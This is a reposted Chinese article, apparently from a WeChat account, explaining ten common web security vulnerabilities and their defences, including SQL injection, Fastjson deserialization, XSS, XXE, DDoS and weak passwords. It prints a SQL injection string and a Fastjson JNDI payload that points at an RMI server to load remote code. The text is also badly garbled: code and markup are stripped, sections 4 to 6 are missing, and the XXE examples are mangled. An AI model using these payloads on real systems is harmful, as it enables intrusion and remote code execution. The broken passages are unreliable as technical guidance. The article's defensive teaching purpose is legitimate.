当前位置: 首页 > 科技观察

程序员必备基础:10个常见安全漏洞分析

时间:2023-03-21 10:17:53 科技观察

前言在我们日常的开发中,很多小伙伴往往会忽略安全漏洞,认为只要业务逻辑正常实现就可以了。其实安全才是最重要的。本文将和大家一起学习常见的安全漏洞,希望对大家有所帮助。本文如有错误,希望大家指出,谢谢~1.SQL注入1.1什么是SQL注入?SQL注入是一种代码注入技术,一般用于攻击Web应用。它通过在Web应用界面中传递一些特殊的参数字符来欺骗应用服务器,执行恶意的SQL命令来达到非法获取系统信息的目的。是目前黑客攻击数据库最常用的手段之一。1.2SQL注入是如何进行攻击的?举一个常见的业务场景:在Web表单的搜索框中输入员工姓名,然后在后台查询对应姓名的员工。这种场景一般是前端页面传递一个name参数name给后台,然后后台通过SQLname="snail";//SQL="select*fromstaffwherename="+name;从前端传递过来;//根据前端传过来的name参数,查询数据库employee表staff,因为SQL是直接拼接的,如果我们完全信任前端传过来的参数。如果前端传了这样一个参数''或'1'='1',SQL就会变成紫色。select*fromstaffwherename=''or'1'='1';这条SQL会查出所有的员工信息,姜子要求用户越权。请求者可以获得所有员工的信息,其他用户信息已经暴露。1.3如何防止SQL注入问题1.3.1使用#{}代替${}在MyBatis中,使用#{}代替${},可以很大程度上防止sql注入。因为#{}是参数占位符,对于字符串类型,会自动添加"",对于其他类型,则不会添加。由于Mybatis使用预编译,后面的参数不会和SQL一起编译,所以一定程度上防止了SQL注入。${}是一个简单的字符串替换。无论字符串是什么,它都会被解析成任何内容。存在SQL注入风险。1.3.2不要暴露不必要的日志或安全信息,比如避免直接响应一些sql异常信息。如果SQL出现异常,不暴露信息给用户,可以自定义异常响应方法,filterunion,or等数据库关键字1.3.4适当的权限控制查询信息时,首先检查当前是否有用户有这个权限。比如在实现代码的时候,可以让用户额外传入一个企业ID,或者获取当前用户的session信息等,在查询之前先判断当前用户是否属于这个企业等。有这是查询员工的权限。2.JSON反序列化漏洞——如Fastjson安全漏洞2.1什么是JSON序列化,JSON序列化Serialization:将对象转换为字节序列的过程Deserialization:将字节序列还原为Java对象的过程JsonSerialization是将对象转换为字符串是Json格式,JSON反序列化就是将一个Json字符串转化为一个对象2.2JSON反序列化漏洞是如何被攻击的?不安全的反序列化可能导致远程代码执行、重放攻击、注入攻击或特权升级攻击。在Fastjson频繁爆出安全漏洞之前,我们先来分析一下fastjson1.2.24版本的一个反序列化漏洞。常见的利用该漏洞的方式是通过jndi注入实现RCE。我们先来看一个简单的fastjson反序列化的例子:}publicintgetAge(){returnage;}publicvoidsetAge(intage){System.out.println("调用了age方法");this.age=age;}publicstaticvoidmain(String[]args){Stringstr="{\"@type\":\"cn.eovie.bean.User\",\"age\":26,\"name\":\"捡蜗牛的小男孩\"}";Useruser=JSON.parseObject(str,User.class);}}运行结果:调用age方法,调用name方法,添加@type属性调用对应对象的setXXX方法,@type表示指定反序列化到某个类中。如果我们能够找到一个类,并且通过我们精心构造的这个类的某个setXXX方法能够完成命令的执行,就可以达到攻击的目的。com.sun.rowset.JdbcRowSetImpl就是类似这样一个类,它有两个set方法,分别是setAutoCommit和setDataSourceName"有兴趣的朋友可以看看它的源码publicvoidsetDataSourceName(Stringvar1)throwsSQLException{if(this.getDataSourceName()!=null){if(!this.getDataSourceName().equals(var1)){super.setDataSourceName(var1);this.conn=null;this.ps=null;this.rs=null;}}else{super.setDataSourceName(var1);}}publicvoidsetAutoCommit(booleanvar1)throwsSQLException{if(this.conn!=null){this.conn.setAutoCommit(var1);}else{this.conn=this.connect();this.conn.setAutoCommit(var1);}}privateConnectionconnect()throwsSQLException{if(this.conn!=null){returnthis.conn;}elseif(this.getDataSourceName()!=null){try{InitialContextvar1=newInitialContext();DataSourcevar2=(DataSource)var1.lookup(this.getDataSourceName());returnthis.getUsername()!=null&&!this.getUsername().equals("")?var2.getConnection(this.getUsername(),this.getPassword()):var2.getConnection();}catch(NamingExceptionvar3){thrownewSQL异常(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());}}else{returnthis.getUrl()!=null?DriverManager.getConnection(this.getUrl(),this.getUsername(),this.getPassword()):null;}}setDataSourceName只是设置dataSourceName的值,setAutoCommit中有一个connect操作,connect方法中有一个典型的jndilookup方法调用,参数就是setDataSourceName中设置的dataSourceName因此,易受攻击的反序列化代码可以这样实现:sun.jndi.rmi.object.trustURLCodebase","true");//RMIStringpayload2="{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\","+"\"autoCommit\":true}";JSONObject.parseObject(payload2);}}漏洞复现过程如下:参考代码源在这里,fastjson漏洞代码测试(https://github.com/earayu/fastjson_jndi_poc)如何解决json反序列化漏洞问题。可以升级版本,比如fastjson的更高版本,增强开启AutoType时fastjson的安全性,增加AutoType黑名单等,都是为了应对这些安全漏洞。反序列化有fastjson、gson、jackson等类型,可以替代其他类型。升级+开启安全模式3.XSS攻击3.1什么是XSS?XSS攻击的全称是Cross-SiteScripting(跨站脚本),会和CascadingStyleSheets(CSS)的缩写混淆,所以有人将跨站脚本攻击简称为XSS。它是指恶意攻击者在网页中插入恶意的html代码。当用户浏览页面时,会执行网页中嵌入的html代码,从而达到恶意攻击用户的特殊目的。XSS攻击一般分为三种类型:存储型、反射型、DOM型XSS》3.2XSS是如何攻击的?以反射型为例,流程图如下:我们来做一些简单的代码示例,首先是所有,正常的html页面如下:当用户打开带有恶意代码的URL时,正常的服务器会解析出请求参数名,获取“”,拼接成HTML返回给浏览器。形成如下HTML:用户浏览器收到响应后进行解析,其中的恶意代码也会被执行。4.我这里写的是百度搜索页面的链接。实际上,黑客在攻击时,会引诱用户输入一些重要信息,然后跳转到自己的服务器窃取用户提交的内容信息。3.3如何解决XSS攻击问题不要相信用户的输入,过滤输入,过滤标签等,只允许合法的值。HTML转义对于链接跳转,如]>]>&xxe;场景二、攻击者通过将上述实体行改为]>探测服务器私网场景三、攻击者通过恶意文件执行拒绝服务攻击]>7.3XXE防御方法利用开发语言提供的禁用外部实体的方法来filteruser-submittedXMLdata,过滤8.DDoS攻击8.1什么是DDoS攻击DDoS攻击,英文全称DistributedDenialofService,谷歌翻译为“分布式拒绝服务”。通俗的说就是攻击者攻击短时间内访问目标网站,发起大量请求,大量消耗目标网站主机资源e秤,使其无法正常使用。网络游戏、互联网金融等领域是DDoS攻击的高发行业。为了方便理解,我举一个知乎上很经典的例子。我开了一家50个座位的重庆火锅店。由于优质材料,很容易被骗。平时,菜市场人很多,生意很红火,却没人理会对面二狗家的火锅店。二狗想对付我。我找到了一个方法,不用点菜就可以邀请50个人到我的火锅店坐,这样其他客人就吃不下了。》8.2如何应对DDoS攻击?高防服务器,可独立硬防50Gbps以上服务器,帮助网站进行拒绝服务攻击,定时扫描网络主节点等黑名单,清理CDN,加速9.框架或应用漏洞Struts框架漏洞:远程命令执行漏洞和开放重定向漏洞QQ浏览器9.6:API权限控制问题导致隐私模式泄露OracleGlassFishServer:RESTCSRFWebLogic:未授权命令执行漏洞HackingDocker:RegistryAPI未授权访问toWordPress4.7/4.7.1:RESTAPIContentInjectionVulnerabilities10.弱口令、证书有效性校验、公网内部接口暴露、未认证等权限相关漏洞10.1弱口令.空口令.口令长度较短8.密码不能为连续字符(QQQQQQ)password相同(例:root:root)密码与账号相反(例:root:toor)密码为纯数字(例:112312324234,电话号码)密码为纯字母(例:asdjfhask)密码已被数字替换(例:helloword,hell0w0rd)密码采用连续组合(例:123456,abcdef,654321,fedcba)服务/设备的默认出厂密码10.2证书有效性验证漏洞如果证书是没有验证,那么https就像是假的。如果是客户生成的证书,需要与系统的可信根CA形成信任链。为了解决ssl证书报错的问题,不能在客户端代码中选择信任客户端中的所有证书。当证书即将到期时,需要提前更换。10.3UnauthenticatedAuthorization等权限相关的漏洞是比较重要的一些接口,一般推荐使用authentication。比如查询一个账户的转账记录,首先要验证该账户是否为运营商所有。参考并致谢【JAVA安全入坑】fastjson中JNDI注入Web渗透文件上传漏洞总结XXE漏洞利用技巧:从XML到远程代码执行WEB应用15个常见安全漏洞什么是DDoS攻击?弱密码总结(什么?是弱密码)本文转载自微信公众号《捡到蜗牛的小男孩》,可通过以下二维码关注。转载请联系捡蜗牛的小男孩公众号。